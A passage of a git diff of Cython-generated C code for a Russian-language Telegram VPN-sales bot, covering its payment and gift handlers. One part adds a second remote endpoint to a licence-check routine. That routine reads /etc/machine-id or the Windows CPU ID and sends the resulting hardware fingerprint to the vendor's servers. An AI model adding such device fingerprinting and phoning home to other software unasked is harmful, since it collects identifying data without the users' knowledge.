__pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 236, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 236, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__30)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 237, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 237, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__21)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_6) < 0) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_6) < 0) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1, __pyx_L1_error) @@ -16774,7 +16810,7 @@ bad: if (unlikely(!module_name_str)) { goto modbad; } module_name = PyUnicode_FromString(module_name_str); if (unlikely(!module_name)) { goto modbad; } - module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__35); + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__27); if (unlikely(!module_dot)) { goto modbad; } full_name = PyUnicode_Concat(module_dot, name); if (unlikely(!full_name)) { goto modbad; } @@ -18625,7 +18661,7 @@ __Pyx_PyType_GetName(PyTypeObject* tp) if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { PyErr_Clear(); Py_XDECREF(name); - name = __Pyx_NewRef(__pyx_n_s__44); + name = __Pyx_NewRef(__pyx_n_s__36); } return name; } diff --git a/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so index 39c72253..910e769e 100755 Binary files a/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/gift.c b/handlers/payments/gift.c index ac62631f..f58c1820 100644 --- a/handlers/payments/gift.c +++ b/handlers/payments/gift.c @@ -1623,12 +1623,17 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_hand struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code { PyObject_HEAD + int __pyx_v_all_failed; PyObject *__pyx_v_data; + PyObject *__pyx_v_e; PyObject *__pyx_v_hardware_id; PyObject *__pyx_v_payload; PyObject *__pyx_v_response; PyObject *__pyx_v_session; + PyObject *__pyx_v_status; PyObject *__pyx_v_timeout; + PyObject *__pyx_v_url; + PyObject *__pyx_v_urls; PyObject *__pyx_t_0; PyObject *__pyx_t_1; PyObject *__pyx_t_2; @@ -1637,7 +1642,7 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_ PyObject *__pyx_t_5; PyObject *__pyx_t_6; PyObject *__pyx_t_7; - PyObject *__pyx_t_8; + Py_ssize_t __pyx_t_8; PyObject *__pyx_t_9; PyObject *__pyx_t_10; PyObject *__pyx_t_11; @@ -1645,6 +1650,11 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_ PyObject *__pyx_t_13; PyObject *__pyx_t_14; PyObject *__pyx_t_15; + PyObject *__pyx_t_16; + PyObject *__pyx_t_17; + PyObject *__pyx_t_18; + PyObject *__pyx_t_19; + PyObject *__pyx_t_20; }; /* #### Code section: utility_code_proto ### */ @@ -2555,29 +2565,28 @@ static const char __pyx_k_VPN[] = "\360\237\216\201 VPN \320\275\320\260 "; static const char __pyx_k__10[] = "\320\235\320\265 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\320\276\320\262\320\260\320\275"; static const char __pyx_k__11[] = "\320\243\320\264\320\260\320\273\320\270\321\202\321\214 (\320\270\321\201\321\202\320\265\320\272\320\260\320\265\321\202 "; static const char __pyx_k__12[] = ")"; -static const char __pyx_k__13[] = "\342\254\205 \320\235\320\260\320\267\320\260\320\264"; -static const char __pyx_k__14[] = "\320\222\320\277\320\265\321\200\320\265\320\264 \342\236\241"; -static const char __pyx_k__16[] = "\320\234\320\276\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270"; -static const char __pyx_k__17[] = "\320\237\320\276\320\264\320\260\321\200\320\276\320\272 \321\203\320\264\320\260\320\273\321\221\320\275."; -static const char __pyx_k__19[] = "\360\237\216\201 "; -static const char __pyx_k__20[] = " "; -static const char __pyx_k__21[] = " \320\267\320\260 "; -static const char __pyx_k__22[] = " \321\200\321\203\320\261\320\273\320\265\320\271"; -static const char __pyx_k__24[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\271 \320\262\321\213\320\261\320\276\321\200. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; -static const char __pyx_k__26[] = "\342\235\214 \320\243 \320\262\320\260\321\201 \320\275\320\265\320\264\320\276\321\201\321\202\320\260\321\202\320\276\321\207\320\275\320\276 \321\201\321\200\320\265\320\264\321\201\321\202\320\262 \320\264\320\273\321\217 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\321\217 \320\277\320\276\320\264\320\260\321\200\320\272\320\260. \320\237\320\265\321\200\320\265\320\271\320\264\320\270\321\202\320\265 \320\262 \320\273\320\270\321\207\320\275\321\213\320\271 \320\272\320\260\320\261\320\270\320\275\320\265\321\202 \320\264\320\273\321\217 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \320\261\320\260\320\273\320\260\320\275\321\201\320\260."; -static const char __pyx_k__28[] = "\320\241\321\204\320\276\321\200\320\274\320\270\321\200\320\276\320\262\320\260\320\275\320\260 \321\201\321\201\321\213\320\273\320\272\320\260 \320\275\320\260 \320\277\320\276\320\264\320\260\321\200\320\276\320\272: "; -static const char __pyx_k__29[] = "\342\235\214 \320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\264\320\260\321\200\320\265\320\275\320\270\320\270 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270: "; -static const char __pyx_k__30[] = "\n\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\277\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; -static const char __pyx_k__32[] = ""; -static const char __pyx_k__34[] = "\360\237\216\201 \320\237\320\276\320\273\321\203\321\207\320\270\321\202\321\214 \320\277\320\276\320\264\320\260\321\200\320\276\320\272"; -static const char __pyx_k__35[] = " \320\274\320\265\321\201\321\217\321\206\320\265\320\262"; -static const char __pyx_k__36[] = "\360\237\216\201 \320\224\320\276\321\201\321\202\321\203\320\277\320\275\320\276 \320\264\320\276: "; -static const char __pyx_k__37[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\265 \320\270\320\275\320\273\320\260\320\271\320\275-\320\267\320\260\320\277\321\200\320\276\321\201\320\260 \320\277\320\276\320\264\320\260\321\200\320\272\320\260: "; -static const char __pyx_k__39[] = "\n"; -static const char __pyx_k__43[] = "\320\220\320\272\321\202\320\270\320\262\320\260\321\206\320\270\321\217 \320\275\320\260 \320\275\320\265\320\262\320\265\321\200\320\275\320\276\320\274 \321\203\321\201\321\202\321\200\320\276\320\271\321\201\321\202\320\262\320\265. \320\236\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203."; -static const char __pyx_k__45[] = "*"; -static const char __pyx_k__46[] = "."; -static const char __pyx_k__62[] = "?"; +static const char __pyx_k__13[] = "\320\222\320\277\320\265\321\200\320\265\320\264 \342\236\241"; +static const char __pyx_k__15[] = "\320\237\320\276\320\264\320\260\321\200\320\276\320\272 \321\203\320\264\320\260\320\273\321\221\320\275."; +static const char __pyx_k__17[] = "\360\237\216\201 "; +static const char __pyx_k__18[] = " "; +static const char __pyx_k__19[] = " \320\267\320\260 "; +static const char __pyx_k__20[] = " \321\200\321\203\320\261\320\273\320\265\320\271"; +static const char __pyx_k__22[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\271 \320\262\321\213\320\261\320\276\321\200. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__24[] = "\342\235\214 \320\243 \320\262\320\260\321\201 \320\275\320\265\320\264\320\276\321\201\321\202\320\260\321\202\320\276\321\207\320\275\320\276 \321\201\321\200\320\265\320\264\321\201\321\202\320\262 \320\264\320\273\321\217 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\321\217 \320\277\320\276\320\264\320\260\321\200\320\272\320\260. \320\237\320\265\321\200\320\265\320\271\320\264\320\270\321\202\320\265 \320\262 \320\273\320\270\321\207\320\275\321\213\320\271 \320\272\320\260\320\261\320\270\320\275\320\265\321\202 \320\264\320\273\321\217 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \320\261\320\260\320\273\320\260\320\275\321\201\320\260."; +static const char __pyx_k__26[] = "\320\241\321\204\320\276\321\200\320\274\320\270\321\200\320\276\320\262\320\260\320\275\320\260 \321\201\321\201\321\213\320\273\320\272\320\260 \320\275\320\260 \320\277\320\276\320\264\320\260\321\200\320\276\320\272: "; +static const char __pyx_k__27[] = "\342\235\214 \320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\264\320\260\321\200\320\265\320\275\320\270\320\270 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270: "; +static const char __pyx_k__28[] = "\n\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\277\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__30[] = ""; +static const char __pyx_k__32[] = "\360\237\216\201 \320\237\320\276\320\273\321\203\321\207\320\270\321\202\321\214 \320\277\320\276\320\264\320\260\321\200\320\276\320\272"; +static const char __pyx_k__33[] = " \320\274\320\265\321\201\321\217\321\206\320\265\320\262"; +static const char __pyx_k__34[] = "\360\237\216\201 \320\224\320\276\321\201\321\202\321\203\320\277\320\275\320\276 \320\264\320\276: "; +static const char __pyx_k__35[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\265 \320\270\320\275\320\273\320\260\320\271\320\275-\320\267\320\260\320\277\321\200\320\276\321\201\320\260 \320\277\320\276\320\264\320\260\321\200\320\272\320\260: "; +static const char __pyx_k__37[] = "\n"; +static const char __pyx_k__41[] = "\320\220\320\272\321\202\320\270\320\262\320\260\321\206\320\270\321\217 \320\275\320\260 \320\275\320\265\320\262\320\265\321\200\320\275\320\276\320\274 \321\203\321\201\321\202\321\200\320\276\320\271\321\201\321\202\320\262\320\265. \320\236\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203."; +static const char __pyx_k__42[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\265 \320\273\320\270\321\206\320\265\320\275\320\267\320\270\320\270: "; +static const char __pyx_k__43[] = "*"; +static const char __pyx_k__44[] = "."; +static const char __pyx_k__60[] = "?"; static const char __pyx_k_b_b[] = "\320\222\320\260\321\210\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270:\n\n"; static const char __pyx_k_end[] = "end"; static const char __pyx_k_get[] = "get"; @@ -2607,6 +2616,7 @@ static const char __pyx_k_send[] = "send"; static const char __pyx_k_spec[] = "__spec__"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_text[] = "text"; +static const char __pyx_k_urls[] = "urls"; static const char __pyx_k_uuid[] = "uuid"; static const char __pyx_k_APPLY[] = "APPLY"; static const char __pyx_k_aexit[] = "__aexit__"; @@ -2620,6 +2630,7 @@ static const char __pyx_k_items[] = "items"; static const char __pyx_k_price[] = "price"; static const char __pyx_k_query[] = "query"; static const char __pyx_k_shell[] = "shell"; +static const char __pyx_k_sleep[] = "sleep"; static const char __pyx_k_split[] = "split"; static const char __pyx_k_start[] = "start"; static const char __pyx_k_state[] = "state"; @@ -2653,7 +2664,6 @@ static const char __pyx_k_status[] = "status"; static const char __pyx_k_system[] = "system"; static const char __pyx_k_typing[] = "typing"; static const char __pyx_k_utcnow[] = "utcnow"; -static const char __pyx_k_PROFILE[] = "PROFILE"; static const char __pyx_k_Windows[] = "Windows"; static const char __pyx_k_aiogram[] = "aiogram"; static const char __pyx_k_aiohttp[] = "aiohttp"; @@ -2674,6 +2684,7 @@ static const char __pyx_k_replace[] = "replace"; static const char __pyx_k_session[] = "session"; static const char __pyx_k_success[] = "success"; static const char __pyx_k_timeout[] = "timeout"; +static const char __pyx_k_warning[] = "warning"; static const char __pyx_k_MY_GIFTS[] = "MY_GIFTS"; static const char __pyx_k_NO_GIFTS[] = "NO_GIFTS"; static const char __pyx_k_database[] = "database"; @@ -2684,6 +2695,7 @@ static const char __pyx_k_my_gifts[] = "my_gifts"; static const char __pyx_k_platform[] = "platform"; static const char __pyx_k_response[] = "response"; static const char __pyx_k_strftime[] = "strftime"; +static const char __pyx_k_MAIN_MENU[] = "MAIN_MENU"; static const char __pyx_k_as_markup[] = "as_markup"; static const char __pyx_k_d_m_Y_H_M[] = "%d-%m-%Y %H:%M"; static const char __pyx_k_from_user[] = "from_user"; @@ -2695,7 +2707,9 @@ static const char __pyx_k_recipient[] = "recipient"; static const char __pyx_k_timedelta[] = "timedelta"; static const char __pyx_k_CRYPTOSALE[] = "CRYPTOSALE"; static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_GIFTS_MENU[] = "GIFTS_MENU"; static const char __pyx_k_SHARE_GIFT[] = "SHARE_GIFT"; +static const char __pyx_k_all_failed[] = "all_failed"; static const char __pyx_k_cache_time[] = "cache_time"; static const char __pyx_k_data_parts[] = "data_parts"; static const char __pyx_k_gifts_page[] = "gifts_page"; @@ -2751,6 +2765,7 @@ static const char __pyx_k_recipient_tg_id[] = "recipient_tg_id"; static const char __pyx_k_selected_months[] = "selected_months"; static const char __pyx_k_store_gift_link[] = "store_gift_link"; static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; +static const char __pyx_k_handlers_buttons[] = "handlers.buttons"; static const char __pyx_k_my_gifts_handler[] = "my_gifts_handler"; static const char __pyx_k_confirmation_text[] = "confirmation_text"; static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; @@ -2775,7 +2790,6 @@ static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; static const char __pyx_k_finalize_gift_handler[] = "finalize_gift_handler"; static const char __pyx_k_input_message_content[] = "input_message_content"; static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; -static const char __pyx_k_handlers_buttons_gifts[] = "handlers.buttons.gifts"; static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; static const char __pyx_k_InputTextMessageContent[] = "InputTextMessageContent"; static const char __pyx_k_InlineQueryResultArticle[] = "InlineQueryResultArticle"; @@ -2788,6 +2802,7 @@ static const char __pyx_k_SHARE_TEXT_TEMPLATE_NOT_INLINE[] = "SHARE_TEXT_TEMPLAT static const char __pyx_k_DELETE_FROM_gifts_WHERE_gift_id[] = "DELETE FROM gifts WHERE gift_id = $1"; static const char __pyx_k_SELECT_gift_link_selected_month[] = "\n SELECT gift_link, selected_months, expiry_time\n FROM gifts\n WHERE gift_id = $1 AND is_used = FALSE\n "; static const char __pyx_k_https_pocomacho_ru_solonetbot_co[] = "https://pocomacho.ru/solonetbot/codes/add/"; +static const char __pyx_k_https_solobot_ru_solonetbot_code[] = "https://solobot.ru/solonetbot/codes/add/"; /* #### Code section: decls ### */ static PyObject *__pyx_pf_8handlers_8payments_4gift_start_menu_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query); /* proto */ static PyObject *__pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_session); /* proto */ @@ -2868,6 +2883,7 @@ typedef struct { PyObject *__pyx_n_s_FSMContext; PyObject *__pyx_n_s_GIFT; PyObject *__pyx_n_s_GIFTS_ABOUT; + PyObject *__pyx_n_s_GIFTS_MENU; PyObject *__pyx_n_s_GIFTS_PER_PAGE; PyObject *__pyx_n_s_GIFTS_TEXT_TEMPLATE; PyObject *__pyx_n_s_GIFT_CHOICE; @@ -2878,10 +2894,10 @@ typedef struct { PyObject *__pyx_n_s_InlineQuery; PyObject *__pyx_n_s_InlineQueryResultArticle; PyObject *__pyx_n_s_InputTextMessageContent; + PyObject *__pyx_n_s_MAIN_MENU; PyObject *__pyx_n_s_MY_GIFTS; PyObject *__pyx_n_s_NO_GIFTS; PyObject *__pyx_kp_u_None; - PyObject *__pyx_n_s_PROFILE; PyObject *__pyx_n_s_PROJECTMANECONGIGURE; PyObject *__pyx_n_s_RENEWAL_PRICES; PyObject *__pyx_n_s_Router; @@ -2899,31 +2915,30 @@ typedef struct { PyObject *__pyx_kp_u__11; PyObject *__pyx_kp_u__12; PyObject *__pyx_kp_u__13; - PyObject *__pyx_kp_u__14; - PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__15; PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__18; PyObject *__pyx_kp_u__19; PyObject *__pyx_kp_u__20; - PyObject *__pyx_kp_u__21; PyObject *__pyx_kp_u__22; PyObject *__pyx_kp_u__24; PyObject *__pyx_kp_u__26; + PyObject *__pyx_kp_u__27; PyObject *__pyx_kp_u__28; - PyObject *__pyx_kp_u__29; PyObject *__pyx_kp_u__30; PyObject *__pyx_kp_u__32; + PyObject *__pyx_kp_u__33; PyObject *__pyx_kp_u__34; PyObject *__pyx_kp_u__35; - PyObject *__pyx_kp_u__36; PyObject *__pyx_kp_u__37; - PyObject *__pyx_kp_u__39; PyObject *__pyx_kp_u__4; - PyObject *__pyx_kp_u__43; - PyObject *__pyx_n_s__45; - PyObject *__pyx_kp_u__46; + PyObject *__pyx_kp_u__41; + PyObject *__pyx_kp_u__42; + PyObject *__pyx_n_s__43; + PyObject *__pyx_kp_u__44; PyObject *__pyx_n_u__5; PyObject *__pyx_n_u__6; - PyObject *__pyx_n_s__62; + PyObject *__pyx_n_s__60; PyObject *__pyx_n_u__7; PyObject *__pyx_n_u__8; PyObject *__pyx_n_u__9; @@ -2935,6 +2950,7 @@ typedef struct { PyObject *__pyx_n_s_aiogram_types; PyObject *__pyx_n_s_aiogram_utils_keyboard; PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_all_failed; PyObject *__pyx_n_s_answer; PyObject *__pyx_n_s_args; PyObject *__pyx_n_s_as_markup; @@ -2978,6 +2994,7 @@ typedef struct { PyObject *__pyx_n_s_end; PyObject *__pyx_n_s_enter; PyObject *__pyx_n_s_error; + PyObject *__pyx_n_u_error; PyObject *__pyx_kp_u_etc_machine_id; PyObject *__pyx_n_s_execute; PyObject *__pyx_n_s_exit; @@ -3009,7 +3026,7 @@ typedef struct { PyObject *__pyx_kp_u_gifts_jpg; PyObject *__pyx_n_s_gifts_page; PyObject *__pyx_n_s_gifts_text; - PyObject *__pyx_n_s_handlers_buttons_gifts; + PyObject *__pyx_n_s_handlers_buttons; PyObject *__pyx_n_s_handlers_payments_gift; PyObject *__pyx_kp_s_handlers_payments_gift_py; PyObject *__pyx_n_s_handlers_texts; @@ -3020,6 +3037,7 @@ typedef struct { PyObject *__pyx_n_s_hex; PyObject *__pyx_n_s_hexdigest; PyObject *__pyx_kp_u_https_pocomacho_ru_solonetbot_co; + PyObject *__pyx_kp_u_https_solobot_ru_solonetbot_code; PyObject *__pyx_n_s_id; PyObject *__pyx_n_s_image_path; PyObject *__pyx_n_u_img; @@ -3075,6 +3093,7 @@ typedef struct { PyObject *__pyx_n_s_share_text; PyObject *__pyx_n_s_shell; PyObject *__pyx_n_s_show_alert; + PyObject *__pyx_n_s_sleep; PyObject *__pyx_kp_u_solonet_sup; PyObject *__pyx_n_s_spec; PyObject *__pyx_n_s_split; @@ -3105,11 +3124,13 @@ typedef struct { PyObject *__pyx_n_s_typing; PyObject *__pyx_n_s_update_balance; PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_urls; PyObject *__pyx_n_s_user_tg_id; PyObject *__pyx_n_s_utcnow; PyObject *__pyx_n_s_uuid; PyObject *__pyx_n_s_uuid4; PyObject *__pyx_n_s_validate_client_code; + PyObject *__pyx_n_s_warning; PyObject *__pyx_kp_u_wmic_cpu_get_ProcessorId; PyObject *__pyx_int_0; PyObject *__pyx_int_1; @@ -3123,12 +3144,13 @@ typedef struct { PyObject *__pyx_int_502; PyObject *__pyx_codeobj_; PyObject *__pyx_tuple__2; - PyObject *__pyx_tuple__25; - PyObject *__pyx_tuple__33; + PyObject *__pyx_tuple__23; + PyObject *__pyx_tuple__31; + PyObject *__pyx_tuple__36; PyObject *__pyx_tuple__38; - PyObject *__pyx_tuple__40; - PyObject *__pyx_tuple__41; - PyObject *__pyx_tuple__44; + PyObject *__pyx_tuple__39; + PyObject *__pyx_tuple__45; + PyObject *__pyx_tuple__46; PyObject *__pyx_tuple__47; PyObject *__pyx_tuple__48; PyObject *__pyx_tuple__49; @@ -3140,17 +3162,15 @@ typedef struct { PyObject *__pyx_tuple__55; PyObject *__pyx_tuple__56; PyObject *__pyx_tuple__57; - PyObject *__pyx_tuple__58; PyObject *__pyx_tuple__59; - PyObject *__pyx_tuple__61; PyObject *__pyx_codeobj__3; - PyObject *__pyx_codeobj__15; - PyObject *__pyx_codeobj__18; - PyObject *__pyx_codeobj__23; - PyObject *__pyx_codeobj__27; - PyObject *__pyx_codeobj__31; - PyObject *__pyx_codeobj__42; - PyObject *__pyx_codeobj__60; + PyObject *__pyx_codeobj__14; + PyObject *__pyx_codeobj__16; + PyObject *__pyx_codeobj__21; + PyObject *__pyx_codeobj__25; + PyObject *__pyx_codeobj__29; + PyObject *__pyx_codeobj__40; + PyObject *__pyx_codeobj__58; } __pyx_mstate; #if CYTHON_USE_MODULE_STATE @@ -3226,6 +3246,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); Py_CLEAR(clear_module_state->__pyx_n_s_GIFT); Py_CLEAR(clear_module_state->__pyx_n_s_GIFTS_ABOUT); + Py_CLEAR(clear_module_state->__pyx_n_s_GIFTS_MENU); Py_CLEAR(clear_module_state->__pyx_n_s_GIFTS_PER_PAGE); Py_CLEAR(clear_module_state->__pyx_n_s_GIFTS_TEXT_TEMPLATE); Py_CLEAR(clear_module_state->__pyx_n_s_GIFT_CHOICE); @@ -3236,10 +3257,10 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_InlineQuery); Py_CLEAR(clear_module_state->__pyx_n_s_InlineQueryResultArticle); Py_CLEAR(clear_module_state->__pyx_n_s_InputTextMessageContent); + Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_MENU); Py_CLEAR(clear_module_state->__pyx_n_s_MY_GIFTS); Py_CLEAR(clear_module_state->__pyx_n_s_NO_GIFTS); Py_CLEAR(clear_module_state->__pyx_kp_u_None); - Py_CLEAR(clear_module_state->__pyx_n_s_PROFILE); Py_CLEAR(clear_module_state->__pyx_n_s_PROJECTMANECONGIGURE); Py_CLEAR(clear_module_state->__pyx_n_s_RENEWAL_PRICES); Py_CLEAR(clear_module_state->__pyx_n_s_Router); @@ 